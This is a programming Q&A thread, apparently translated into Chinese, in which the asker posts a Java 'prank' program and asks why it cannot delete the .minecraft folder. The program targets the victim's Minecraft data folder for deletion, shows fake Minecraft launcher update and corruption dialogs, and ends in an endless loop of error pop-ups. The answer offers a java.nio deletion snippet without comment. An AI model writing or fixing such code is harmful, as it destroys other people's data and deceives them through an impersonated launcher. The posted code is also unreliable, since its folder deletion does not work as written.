我一直在寻找这个,但找不到任何东西。
文件.minecraft
不会删除。我已经尝试将其重命名为minecraft
,但仍然无效。
import javax.swing.JOptionPane;
import java.io.File;
public class justaprankbro {
public static void main(String[] args){
int x;
File file = new File(System.getProperty("user.home") + "/AppData/Roaming/.minecraft");
if(file.isHidden()){
System.out.println("This file is hidden");
}else{
System.out.println("This file is not hidden");
}
if(file.delete()){
System.out.println(file.getName() + " is deleted!");
}else{
System.out.println("Delete operation is failed.");
}
JOptionPane.showMessageDialog (null, "A new Minecraft Launcher was released" + "\nPlease click OK to update", "Minecraft Launcher 1.6.61", JOptionPane.WARNING_MESSAGE);
try {
Thread.sleep(5000); //1000 milliseconds is one second.
} catch(InterruptedException ex) {
Thread.currentThread().interrupt();
}
JOptionPane.showMessageDialog (null, "Unable to start the Minecraft Runtime Environment. This is most " + "\nlikely caused by a corruption. Please press OK to auto-fix.", "Minecraft Launcher 1.6.61", JOptionPane.WARNING_MESSAGE);
try {
Thread.sleep(3000); //1000 milliseconds is one second.
} catch(InterruptedException ex) {
Thread.currentThread().interrupt();
}
JOptionPane.showMessageDialog (null, "Error: 34; minecraft failed to start, please" + "\npress OK to backup files and reinstall", "Minecraft Launcher 1.6.61", JOptionPane.ERROR_MESSAGE);
for(x = 0; x < 1; x = 0){
JOptionPane.showMessageDialog (null, "Fatal Error, please contact Mojang immidiately", "Minecraft Launcher 1.6.61", JOptionPane.ERROR_MESSAGE);
}
}
}
答案 0 :(得分:3)
改为使用nio包:
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
Path p = Paths.get("/tmp/.minecraft");
if(!Files.exists(p)){
Files.createFile(p);
}
if(Files.exists(p)){
Files.delete(p);
}